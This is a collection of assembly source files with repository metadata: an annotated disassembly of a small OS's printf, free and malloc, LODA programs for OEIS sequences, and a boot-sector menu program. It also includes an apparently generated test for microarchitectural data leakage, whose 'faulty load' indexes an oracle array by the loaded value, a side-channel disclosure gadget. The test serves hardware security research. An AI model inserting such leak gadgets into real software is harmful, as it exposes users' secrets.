for(i = 0; fmt[i]; i++){ 427: 0f b6 13 movzbl (%ebx),%edx 42a: 83 c3 01 add $0x1,%ebx 42d: 84 d2 test %dl,%dl 42f: 75 39 jne 46a <printf+0x5a> 431: e9 c2 00 00 00 jmp 4f8 <printf+0xe8> 436: 66 90 xchg %ax,%ax c = fmt[i] & 0xff; if(state == 0){ if(c == '%'){ 438: 83 fa 25 cmp $0x25,%edx 43b: 0f 84 bf 00 00 00 je 500 <printf+0xf0> write(fd, &c, 1); 441: 8d 45 e2 lea -0x1e(%ebp),%eax 444: c7 44 24 08 01 00 00 movl $0x1,0x8(%esp) 44b: 00 44c: 89 44 24 04 mov %eax,0x4(%esp) 450: 89 34 24 mov %esi,(%esp) state = '%'; } else { putc(fd, c); 453: 88 55 e2 mov %dl,-0x1e(%ebp) write(fd, &c, 1); 456: e8 77 fe ff ff call 2d2 <write> 45b: 83 c3 01 add $0x1,%ebx for(i = 0; fmt[i]; i++){ 45e: 0f b6 53 ff movzbl -0x1(%ebx),%edx 462: 84 d2 test %dl,%dl 464: 0f 84 8e 00 00 00 je 4f8 <printf+0xe8> if(state == 0){ 46a: 85 ff test %edi,%edi c = fmt[i] & 0xff; 46c: 0f be c2 movsbl %dl,%eax if(state == 0){ 46f: 74 c7 je 438 <printf+0x28> } } else if(state == '%'){ 471: 83 ff 25 cmp $0x25,%edi 474: 75 e5 jne 45b <printf+0x4b> if(c == 'd'){ 476: 83 fa 64 cmp $0x64,%edx 479: 0f 84 31 01 00 00 je 5b0 <printf+0x1a0> printint(fd, *ap, 10, 1); ap++; } else if(c == 'x' || c == 'p'){ 47f: 25 f7 00 00 00 and $0xf7,%eax 484: 83 f8 70 cmp $0x70,%eax 487: 0f 84 83 00 00 00 je 510 <printf+0x100> printint(fd, *ap, 16, 0); ap++; } else if(c == 's'){ 48d: 83 fa 73 cmp $0x73,%edx 490: 0f 84 a2 00 00 00 je 538 <printf+0x128> s = "(null)"; while(*s != 0){ putc(fd, *s); s++; } } else if(c == 'c'){ 496: 83 fa 63 cmp $0x63,%edx 499: 0f 84 35 01 00 00 je 5d4 <printf+0x1c4> putc(fd, *ap); ap++; } else if(c == '%'){ 49f: 83 fa 25 cmp $0x25,%edx 4a2: 0f 84 e0 00 00 00 je 588 <printf+0x178> write(fd, &c, 1); 4a8: 8d 45 e6 lea -0x1a(%ebp),%eax 4ab: 83 c3 01 add $0x1,%ebx 4ae: c7 44 24 08 01 00 00 movl $0x1,0x8(%esp) 4b5: 00 } else { // Unknown % sequence. Print it to draw attention. putc(fd, '%'); putc(fd, c); } state = 0; 4b6: 31 ff xor %edi,%edi write(fd, &c, 1); 4b8: 89 44 24 04 mov %eax,0x4(%esp) 4bc: 89 34 24 mov %esi,(%esp) 4bf: 89 55 d0 mov %edx,-0x30(%ebp) 4c2: c6 45 e6 25 movb $0x25,-0x1a(%ebp) 4c6: e8 07 fe ff ff call 2d2 <write> putc(fd, c); 4cb: 8b 55 d0 mov -0x30(%ebp),%edx write(fd, &c, 1); 4ce: 8d 45 e7 lea -0x19(%ebp),%eax 4d1: c7 44 24 08 01 00 00 movl $0x1,0x8(%esp) 4d8: 00 4d9: 89 44 24 04 mov %eax,0x4(%esp) 4dd: 89 34 24 mov %esi,(%esp) putc(fd, c); 4e0: 88 55 e7 mov %dl,-0x19(%ebp) write(fd, &c, 1); 4e3: e8 ea fd ff ff call 2d2 <write> for(i = 0; fmt[i]; i++){ 4e8: 0f b6 53 ff movzbl -0x1(%ebx),%edx 4ec: 84 d2 test %dl,%dl 4ee: 0f 85 76 ff ff ff jne 46a <printf+0x5a> 4f4: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi } } } 4f8: 83 c4 3c add $0x3c,%esp 4fb: 5b pop %ebx 4fc: 5e pop %esi 4fd: 5f pop %edi 4fe: 5d pop %ebp 4ff: c3 ret state = '%'; 500: bf 25 00 00 00 mov $0x25,%edi 505: e9 51 ff ff ff jmp 45b <printf+0x4b> 50a: 8d b6 00 00 00 00 lea 0x0(%esi),%esi printint(fd, *ap, 16, 0); 510: 8b 45 d4 mov -0x2c(%ebp),%eax 513: b9 10 00 00 00 mov $0x10,%ecx state = 0; 518: 31 ff xor %edi,%edi printint(fd, *ap, 16, 0); 51a: c7 04 24 00 00 00 00 movl $0x0,(%esp) 521: 8b 10 mov (%eax),%edx 523: 89 f0 mov %esi,%eax 525: e8 46 fe ff ff call 370 <printint> ap++; 52a: 83 45 d4 04 addl $0x4,-0x2c(%ebp) 52e: e9 28 ff ff ff jmp 45b <printf+0x4b> 533: 90 nop 534: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi s = (char*)*ap; 538: 8b 45 d4 mov -0x2c(%ebp),%eax ap++; 53b: 83 45 d4 04 addl $0x4,-0x2c(%ebp) s = (char*)*ap; 53f: 8b 38 mov (%eax),%edi s = "(null)"; 541: b8 7f 07 00 00 mov $0x77f,%eax 546: 85 ff test %edi,%edi 548: 0f 44 f8 cmove %eax,%edi while(*s != 0){ 54b: 0f b6 07 movzbl (%edi),%eax 54e: 84 c0 test %al,%al 550: 74 2a je 57c <printf+0x16c> 552: 8d b6 00 00 00 00 lea 0x0(%esi),%esi 558: 88 45 e3 mov %al,-0x1d(%ebp) write(fd, &c, 1); 55b: 8d 45 e3 lea -0x1d(%ebp),%eax s++; 55e: 83 c7 01 add $0x1,%edi write(fd, &c, 1); 561: c7 44 24 08 01 00 00 movl $0x1,0x8(%esp) 568: 00 569: 89 44 24 04 mov %eax,0x4(%esp) 56d: 89 34 24 mov %esi,(%esp) 570: e8 5d fd ff ff call 2d2 <write> while(*s != 0){ 575: 0f b6 07 movzbl (%edi),%eax 578: 84 c0 test %al,%al 57a: 75 dc jne 558 <printf+0x148> state = 0; 57c: 31 ff xor %edi,%edi 57e: e9 d8 fe ff ff jmp 45b <printf+0x4b> 583: 90 nop 584: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi write(fd, &c, 1); 588: 8d 45 e5 lea -0x1b(%ebp),%eax state = 0; 58b: 31 ff xor %edi,%edi write(fd, &c, 1); 58d: c7 44 24 08 01 00 00 movl $0x1,0x8(%esp) 594: 00 595: 89 44 24 04 mov %eax,0x4(%esp) 599: 89 34 24 mov %esi,(%esp) 59c: c6 45 e5 25 movb $0x25,-0x1b(%ebp) 5a0: e8 2d fd ff ff call 2d2 <write> 5a5: e9 b1 fe ff ff jmp 45b <printf+0x4b> 5aa: 8d b6 00 00 00 00 lea 0x0(%esi),%esi printint(fd, *ap, 10, 1); 5b0: 8b 45 d4 mov -0x2c(%ebp),%eax 5b3: b9 0a 00 00 00 mov $0xa,%ecx state = 0; 5b8: 66 31 ff xor %di,%di printint(fd, *ap, 10, 1); 5bb: c7 04 24 01 00 00 00 movl $0x1,(%esp) 5c2: 8b 10 mov (%eax),%edx 5c4: 89 f0 mov %esi,%eax 5c6: e8 a5 fd ff ff call 370 <printint> ap++; 5cb: 83 45 d4 04 addl $0x4,-0x2c(%ebp) 5cf: e9 87 fe ff ff jmp 45b <printf+0x4b> putc(fd, *ap); 5d4: 8b 45 d4 mov -0x2c(%ebp),%eax state = 0; 5d7: 31 ff xor %edi,%edi putc(fd, *ap); 5d9: 8b 00 mov (%eax),%eax write(fd, &c, 1); 5db: c7 44 24 08 01 00 00 movl $0x1,0x8(%esp) 5e2: 00 5e3: 89 34 24 mov %esi,(%esp) putc(fd, *ap); 5e6: 88 45 e4 mov %al,-0x1c(%ebp) write(fd, &c, 1); 5e9: 8d 45 e4 lea -0x1c(%ebp),%eax 5ec: 89 44 24 04 mov %eax,0x4(%esp) 5f0: e8 dd fc ff ff call 2d2 <write> ap++; 5f5: 83 45 d4 04 addl $0x4,-0x2c(%ebp) 5f9: e9 5d fe ff ff jmp 45b <printf+0x4b> 5fe: 66 90 xchg %ax,%ax 00000600 <free>: static Header base; static Header *freep; void free(void *ap) { 600: 55 push %ebp Header *bp, *p; bp = (Header*)ap - 1; for(p = freep; !(bp > p && bp < p->s.ptr); p = p->s.ptr) 601: a1 0c 0a 00 00 mov 0xa0c,%eax { 606: 89 e5 mov %esp,%ebp 608: 57 push %edi 609: 56 push %esi 60a: 53 push %ebx 60b: 8b 5d 08 mov 0x8(%ebp),%ebx if(p >= p->s.ptr && (bp > p || bp < p->s.ptr)) 60e: 8b 08 mov (%eax),%ecx bp = (Header*)ap - 1; 610: 8d 53 f8 lea -0x8(%ebx),%edx for(p = freep; !(bp > p && bp < p->s.ptr); p = p->s.ptr) 613: 39 d0 cmp %edx,%eax 615: 72 11 jb 628 <free+0x28> 617: 90 nop if(p >= p->s.ptr && (bp > p || bp < p->s.ptr)) 618: 39 c8 cmp %ecx,%eax 61a: 72 04 jb 620 <free+0x20> 61c: 39 ca cmp %ecx,%edx 61e: 72 10 jb 630 <free+0x30> 620: 89 c8 mov %ecx,%eax for(p = freep; !(bp > p && bp < p->s.ptr); p = p->s.ptr) 622: 39 d0 cmp %edx,%eax if(p >= p->s.ptr && (bp > p || bp < p->s.ptr)) 624: 8b 08 mov (%eax),%ecx for(p = freep; !(bp > p && bp < p->s.ptr); p = p->s.ptr) 626: 73 f0 jae 618 <free+0x18> 628: 39 ca cmp %ecx,%edx 62a: 72 04 jb 630 <free+0x30> if(p >= p->s.ptr && (bp > p || bp < p->s.ptr)) 62c: 39 c8 cmp %ecx,%eax 62e: 72 f0 jb 620 <free+0x20> break; if(bp + bp->s.size == p->s.ptr){ 630: 8b 73 fc mov -0x4(%ebx),%esi 633: 8d 3c f2 lea (%edx,%esi,8),%edi 636: 39 cf cmp %ecx,%edi 638: 74 1e je 658 <free+0x58> bp->s.size += p->s.ptr->s.size; bp->s.ptr = p->s.ptr->s.ptr; } else bp->s.ptr = p->s.ptr; 63a: 89 4b f8 mov %ecx,-0x8(%ebx) if(p + p->s.size == bp){ 63d: 8b 48 04 mov 0x4(%eax),%ecx 640: 8d 34 c8 lea (%eax,%ecx,8),%esi 643: 39 f2 cmp %esi,%edx 645: 74 28 je 66f <free+0x6f> p->s.size += bp->s.size; p->s.ptr = bp->s.ptr; } else p->s.ptr = bp; 647: 89 10 mov %edx,(%eax) freep = p; 649: a3 0c 0a 00 00 mov %eax,0xa0c } 64e: 5b pop %ebx 64f: 5e pop %esi 650: 5f pop %edi 651: 5d pop %ebp 652: c3 ret 653: 90 nop 654: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi bp->s.size += p->s.ptr->s.size; 658: 03 71 04 add 0x4(%ecx),%esi 65b: 89 73 fc mov %esi,-0x4(%ebx) bp->s.ptr = p->s.ptr->s.ptr; 65e: 8b 08 mov (%eax),%ecx 660: 8b 09 mov (%ecx),%ecx 662: 89 4b f8 mov %ecx,-0x8(%ebx) if(p + p->s.size == bp){ 665: 8b 48 04 mov 0x4(%eax),%ecx 668: 8d 34 c8 lea (%eax,%ecx,8),%esi 66b: 39 f2 cmp %esi,%edx 66d: 75 d8 jne 647 <free+0x47> p->s.size += bp->s.size; 66f: 03 4b fc add -0x4(%ebx),%ecx freep = p; 672: a3 0c 0a 00 00 mov %eax,0xa0c p->s.size += bp->s.size; 677: 89 48 04 mov %ecx,0x4(%eax) p->s.ptr = bp->s.ptr; 67a: 8b 53 f8 mov -0x8(%ebx),%edx 67d: 89 10 mov %edx,(%eax) } 67f: 5b pop %ebx 680: 5e pop %esi 681: 5f pop %edi 682: 5d pop %ebp 683: c3 ret 684: 8d b6 00 00 00 00 lea 0x0(%esi),%esi 68a: 8d bf 00 00 00 00 lea 0x0(%edi),%edi 00000690 <malloc>: return freep; } void* malloc(uint nbytes) { 690: 55 push %ebp 691: 89 e5 mov %esp,%ebp 693: 57 push %edi 694: 56 push %esi 695: 53 push %ebx 696: 83 ec 1c sub $0x1c,%esp Header *p, *prevp; uint nunits; nunits = (nbytes + sizeof(Header) - 1)/sizeof(Header) + 1; 699: 8b 45 08 mov 0x8(%ebp),%eax if((prevp = freep) == 0){ 69c: 8b 1d 0c 0a 00 00 mov 0xa0c,%ebx nunits = (nbytes + sizeof(Header) - 1)/sizeof(Header) + 1; 6a2: 8d 48 07 lea 0x7(%eax),%ecx 6a5: c1 e9 03 shr $0x3,%ecx if((prevp = freep) == 0){ 6a8: 85 db test %ebx,%ebx nunits = (nbytes + sizeof(Header) - 1)/sizeof(Header) + 1; 6aa: 8d 71 01 lea 0x1(%ecx),%esi if((prevp = freep) == 0){ 6ad: 0f 84 9b 00 00 00 je 74e <malloc+0xbe> 6b3: 8b 13 mov (%ebx),%edx 6b5: 8b 7a 04 mov 0x4(%edx),%edi base.s.ptr = freep = prevp = &base; base.s.size = 0; } for(p = prevp->s.ptr; ; prevp = p, p = p->s.ptr){ if(p->s.size >= nunits){ 6b8: 39 fe cmp %edi,%esi 6ba: 76 64 jbe 720 <malloc+0x90> 6bc: 8d 04 f5 00 00 00 00 lea 0x0(,%esi,8),%eax if(nu < 4096) 6c3: bb 00 80 00 00 mov $0x8000,%ebx 6c8: 89 45 e4 mov %eax,-0x1c(%ebp) 6cb: eb 0e jmp 6db <malloc+0x4b> 6cd: 8d 76 00 lea 0x0(%esi),%esi for(p = prevp->s.ptr; ; prevp = p, p = p->s.ptr){ 6d0: 8b 02 mov (%edx),%eax if(p->s.size >= nunits){ 6d2: 8b 78 04 mov 0x4(%eax),%edi 6d5: 39 fe cmp %edi,%esi 6d7: 76 4f jbe 728 <malloc+0x98> 6d9: 89 c2 mov %eax,%edx p->s.size = nunits; } freep = prevp; return (void*)(p + 1); } if(p == freep) 6db: 3b 15 0c 0a 00 00 cmp 0xa0c,%edx 6e1: 75 ed jne 6d0 <malloc+0x40> if(nu < 4096) 6e3: 8b 45 e4 mov -0x1c(%ebp),%eax 6e6: 81 fe 00 10 00 00 cmp $0x1000,%esi 6ec: bf 00 10 00 00 mov $0x1000,%edi 6f1: 0f 43 fe cmovae %esi,%edi 6f4: 0f 42 c3 cmovb %ebx,%eax p = sbrk(nu * sizeof(Header)); 6f7: 89 04 24 mov %eax,(%esp) 6fa: e8 3b fc ff ff call 33a <sbrk> if(p == (char*)-1) 6ff: 83 f8 ff cmp $0xffffffff,%eax 702: 74 18 je 71c <malloc+0x8c> hp->s.size = nu; 704: 89 78 04 mov %edi,0x4(%eax) free((void*)(hp + 1)); 707: 83 c0 08 add $0x8,%eax 70a: 89 04 24 mov %eax,(%esp) 70d: e8 ee fe ff ff call 600 <free> return freep; 712: 8b 15 0c 0a 00 00 mov 0xa0c,%edx if((p = morecore(nunits)) == 0) 718: 85 d2 test %edx,%edx 71a: 75 b4 jne 6d0 <malloc+0x40> return 0; 71c: 31 c0 xor %eax,%eax 71e: eb 20 jmp 740 <malloc+0xb0> if(p->s.size >= nunits){ 720: 89 d0 mov %edx,%eax 722: 89 da mov %ebx,%edx 724: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi if(p->s.size == nunits) 728: 39 fe cmp %edi,%esi 72a: 74 1c je 748 <malloc+0xb8> p->s.size -= nunits; 72c: 29 f7 sub %esi,%edi 72e: 89 78 04 mov %edi,0x4(%eax) p += p->s.size; 731: 8d 04 f8 lea (%eax,%edi,8),%eax p->s.size = nunits; 734: 89 70 04 mov %esi,0x4(%eax) freep = prevp; 737: 89 15 0c 0a 00 00 mov %edx,0xa0c return (void*)(p + 1); 73d: 83 c0 08 add $0x8,%eax } } 740: 83 c4 1c add $0x1c,%esp 743: 5b pop %ebx 744: 5e pop %esi 745: 5f pop %edi 746: 5d pop %ebp 747: c3 ret prevp->s.ptr = p->s.ptr; 748: 8b 08 mov (%eax),%ecx 74a: 89 0a mov %ecx,(%edx) 74c: eb e9 jmp 737 <malloc+0xa7> base.s.ptr = freep = prevp = &base; 74e: c7 05 0c 0a 00 00 10 movl $0xa10,0xa0c 755: 0a 00 00 base.s.size = 0; 758: ba 10 0a 00 00 mov $0xa10,%edx base.s.ptr = freep = prevp = &base; 75d: c7 05 10 0a 00 00 10 movl $0xa10,0xa10 764: 0a 00 00 base.s.size = 0; 767: c7 05 14 0a 00 00 00 movl $0x0,0xa14 76e: 00 00 00 771: e9 46 ff ff ff jmp 6bc <malloc+0x2c>
33.549488
60
0.415387
c136a1fc81f94a85018b76fd5aac506ce2c4fad0
721
asm
Assembly
oeis/041/A041922.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
11
2021-08-22T19:44:55.000Z
2022-03-20T16:47:57.000Z
oeis/041/A041922.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
9
2021-08-29T13:15:54.000Z
2022-03-09T19:52:31.000Z
oeis/041/A041922.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
3
2021-08-22T20:56:47.000Z
2021-09-29T06:26:12.000Z
; A041922: Numerators of continued fraction convergents to sqrt(483). ; Submitted by Christian Krause ; 21,22,945,967,41559,42526,1827651,1870177,80375085,82245262,3534676089,3616921351,155445372831,159062294182,6836061728475,6995124022657,300631270680069,307626394702726,13220939848194561,13528566242897287,581420722049880615,594949288292777902,25569290830346552499,26164240118639330401,1124467375813198429341,1150631615931837759742,49450995244950384338505,50601626860882222098247,2174719323402003712464879,2225320950262885934563126,95638199234443212964116171,97863520184706098898679297 add $0,1 mov $3,1 lpb $0 sub $0,1 add $2,$3 mov $3,$1 mov $1,$2 dif $2,6 dif $2,7 mul $2,21 add $3,$2 lpe mov $0,$3
40.055556
485
0.828017
b394f90e495e09fd161775389ac128245d5998a2
344
asm
Assembly
programs/oeis/047/A047439.asm
karttu/loda
9c3b0fc57b810302220c044a9d17db733c76a598
[ "Apache-2.0" ]
null
null
null
programs/oeis/047/A047439.asm
karttu/loda
9c3b0fc57b810302220c044a9d17db733c76a598
[ "Apache-2.0" ]
null
null
null
programs/oeis/047/A047439.asm
karttu/loda
9c3b0fc57b810302220c044a9d17db733c76a598
[ "Apache-2.0" ]
null
null
null
; A047439: Numbers that are congruent to {0, 1, 5, 6} mod 8. ; 0,1,5,6,8,9,13,14,16,17,21,22,24,25,29,30,32,33,37,38,40,41,45,46,48,49,53,54,56,57,61,62,64,65,69,70,72,73,77,78,80,81,85,86,88,89,93,94,96,97,101,102,104,105,109,110,112,113,117,118,120,121,125 add $0,10 lpb $0,1 mov $1,$0 mod $0,4 lpe mul $1,4 sub $1,$0 div $1,2 sub $1,19
26.461538
197
0.633721
d7f022e2b61990f5eec91d21529fb42f95ac97b9
6,101
asm
Assembly
Transynther/x86/_processed/AVXALIGN/_zr_/i7-7700_9_0xca_notsx.log_21829_1166.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
9
2020-08-13T19:41:58.000Z
2022-03-30T12:22:51.000Z
Transynther/x86/_processed/AVXALIGN/_zr_/i7-7700_9_0xca_notsx.log_21829_1166.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
1
2021-04-29T06:29:35.000Z
2021-05-13T21:02:30.000Z
Transynther/x86/_processed/AVXALIGN/_zr_/i7-7700_9_0xca_notsx.log_21829_1166.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
3
2020-07-14T17:07:07.000Z
2022-03-21T01:12:22.000Z
.global s_prepare_buffers s_prepare_buffers: ret .global s_faulty_load s_faulty_load: push %r14 push %r15 push %r9 push %rbp push %rcx push %rdi push %rsi // Store lea addresses_WC+0x1acbb, %r9 nop nop xor $28084, %rsi movw $0x5152, (%r9) nop nop nop nop sub %rbp, %rbp // REPMOV lea addresses_WC+0xb3bb, %rsi lea addresses_WC+0x63bb, %rdi nop nop nop nop nop add %r14, %r14 mov $126, %rcx rep movsb nop nop nop nop inc %r9 // Store lea addresses_WT+0x1a1bb, %rbp nop nop nop nop nop sub %rsi, %rsi mov $0x5152535455565758, %rcx movq %rcx, %xmm5 movups %xmm5, (%rbp) nop nop xor $18198, %rsi // Store lea addresses_RW+0x1283b, %rdi nop nop nop nop and %r15, %r15 movw $0x5152, (%rdi) nop nop sub %r14, %r14 // Store lea addresses_UC+0x59a5, %r15 nop xor %r14, %r14 mov $0x5152535455565758, %rcx movq %rcx, (%r15) nop nop nop add %rdi, %rdi // Load lea addresses_D+0x1daa7, %rdi nop nop nop nop add $18862, %rsi vmovntdqa (%rdi), %ymm1 vextracti128 $0, %ymm1, %xmm1 vpextrq $1, %xmm1, %r15 nop nop nop nop sub %rdi, %rdi // Store lea addresses_PSE+0xf53b, %r14 and %r15, %r15 movb $0x51, (%r14) nop nop cmp %r14, %r14 // Store lea addresses_PSE+0x1a4bb, %r14 nop nop nop xor $16503, %rdi movb $0x51, (%r14) nop nop and %r14, %r14 // Store lea addresses_A+0x191bb, %rdi nop nop dec %r14 mov $0x5152535455565758, %r9 movq %r9, (%rdi) nop nop nop nop and $22719, %rbp // Faulty Load lea addresses_WC+0xb3bb, %rbp clflush (%rbp) nop nop nop nop nop sub %rdi, %rdi movaps (%rbp), %xmm4 vpextrq $0, %xmm4, %rcx lea oracles, %rsi and $0xff, %rcx shlq $12, %rcx mov (%rsi,%rcx,1), %rcx pop %rsi pop %rdi pop %rcx pop %rbp pop %r9 pop %r15 pop %r14 ret /* <gen_faulty_load> [REF] {'src': {'NT': False, 'AVXalign': False, 'size': 16, 'congruent': 0, 'same': False, 'type': 'addresses_WC'}, 'OP': 'LOAD'} {'dst': {'NT': False, 'AVXalign': False, 'size': 2, 'congruent': 7, 'same': False, 'type': 'addresses_WC'}, 'OP': 'STOR'} {'src': {'congruent': 0, 'same': True, 'type': 'addresses_WC'}, 'dst': {'congruent': 10, 'same': False, 'type': 'addresses_WC'}, 'OP': 'REPM'} {'dst': {'NT': False, 'AVXalign': False, 'size': 16, 'congruent': 9, 'same': False, 'type': 'addresses_WT'}, 'OP': 'STOR'} {'dst': {'NT': False, 'AVXalign': False, 'size': 2, 'congruent': 7, 'same': False, 'type': 'addresses_RW'}, 'OP': 'STOR'} {'dst': {'NT': True, 'AVXalign': False, 'size': 8, 'congruent': 1, 'same': False, 'type': 'addresses_UC'}, 'OP': 'STOR'} {'src': {'NT': True, 'AVXalign': False, 'size': 32, 'congruent': 1, 'same': False, 'type': 'addresses_D'}, 'OP': 'LOAD'} {'dst': {'NT': False, 'AVXalign': False, 'size': 1, 'congruent': 7, 'same': False, 'type': 'addresses_PSE'}, 'OP': 'STOR'} {'dst': {'NT': False, 'AVXalign': False, 'size': 1, 'congruent': 8, 'same': False, 'type': 'addresses_PSE'}, 'OP': 'STOR'} {'dst': {'NT': False, 'AVXalign': False, 'size': 8, 'congruent': 8, 'same': False, 'type': 'addresses_A'}, 'OP': 'STOR'} [Faulty Load] {'src': {'NT': False, 'AVXalign': True, 'size': 16, 'congruent': 0, 'same': True, 'type': 'addresses_WC'}, 'OP': 'LOAD'} <gen_prepare_buffer> {'00': 21829} 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 */
35.265896
2,999
0.65186
84f71efa66aff8c8842f4f7f7ba135ce3393ada0
1,893
asm
Assembly
mbr/bootsector2/sector2.asm
icecoobe/oslab
bd282e0f1249f6db5f0cc8daa2da05976f173012
[ "Unlicense" ]
52
2019-04-13T01:50:34.000Z
2022-01-14T02:08:32.000Z
mbr/bootsector2/sector2.asm
icecoobe/oslab
bd282e0f1249f6db5f0cc8daa2da05976f173012
[ "Unlicense" ]
1
2016-04-08T08:35:34.000Z
2018-08-31T16:45:06.000Z
mbr/bootsector2/sector2.asm
icecoobe/nasm
bd282e0f1249f6db5f0cc8daa2da05976f173012
[ "Unlicense" ]
19
2019-04-21T03:48:31.000Z
2022-01-07T08:18:57.000Z
;; ;; 简单的高斯计算,累加而已 ;; org 0x6000 %include "inc/io.inc" xor ax, ax mov ds, ax mov es, ax begin: ;;cls ;; some bios does not clear the PCI devices informations left on the screen. mov si, menu call puts putc 13 putc 10 init: getc cmp al, 13 je .ParseKey ;; equal to init.ParseKey putc al mov ah, 0 push ax jmp init .ParseKey: putc 13 putc 10 pop ax cmp al, 's' ;; Delete Key je Start cmp al, 'e' je .PowerOff cmp al, 'r' je .Reset cmp al, 'v' je .Version cmp al, 'c' je .Clear cmp al, 'm' je .Menu jmp init .PowerOff: shutdown .Clear: cls jmp init .Version: call ShowVersion jmp init .Reset: jmp 0xFFFF:0000 .Menu: mov si, menu call puts jmp init DECLARE_IO_API section .text Start: ;; cls mov ax, 1 ;; operand mov dx, 0 ;; sum mov cx, 100 ADD: add dx, ax inc ax loop ADD PrintResult: mov si, msg call puts mov ax, dx call Disp2ByteInHex mov si, crlf call puts End: jmp begin ;jmp $ ;; ---------------------------------------------------------------------- msg db '1+2+...+100=' crlf db 13, 10, 0 hr db '------------------------------------------------------------', 13, 10, 0 version db 'Bootloader 0.1 by icecoobe', 13, 10, 0 menu db `1).m:this menu\r\n2).s:start\r\n3).e:poweroff\r\n4).r:Reset\r\n5).c:clear screen\r\n6).v:version`, 13, 10, 0 ;; ---------------------------------------------------------------------- ShowVersion: mov si, hr call puts mov si, version call puts mov si, hr call puts ret func_strlen: xor di, di xor dx, dx ;; mov [length], ax mov bp, ax .nextchar: ;; add ax, bx mov dl, [bp+di] cmp dl, 0 mov al, dl je .loopend inc di loop .nextchar .loopend: xor ax, ax mov ax, di ret times (512-($-$$)) db 0 ;db 0x55, 0xAA ;2 byte boot signature
15.144
118
0.525621
6203eb1641b0abd14e0f1f669fd4e7cd230e5e12
611
asm
Assembly
programs/oeis/199/A199011.asm
jmorken/loda
99c09d2641e858b074f6344a352d13bc55601571
[ "Apache-2.0" ]
1
2021-03-15T11:38:20.000Z
2021-03-15T11:38:20.000Z
programs/oeis/199/A199011.asm
jmorken/loda
99c09d2641e858b074f6344a352d13bc55601571
[ "Apache-2.0" ]
null
null
null
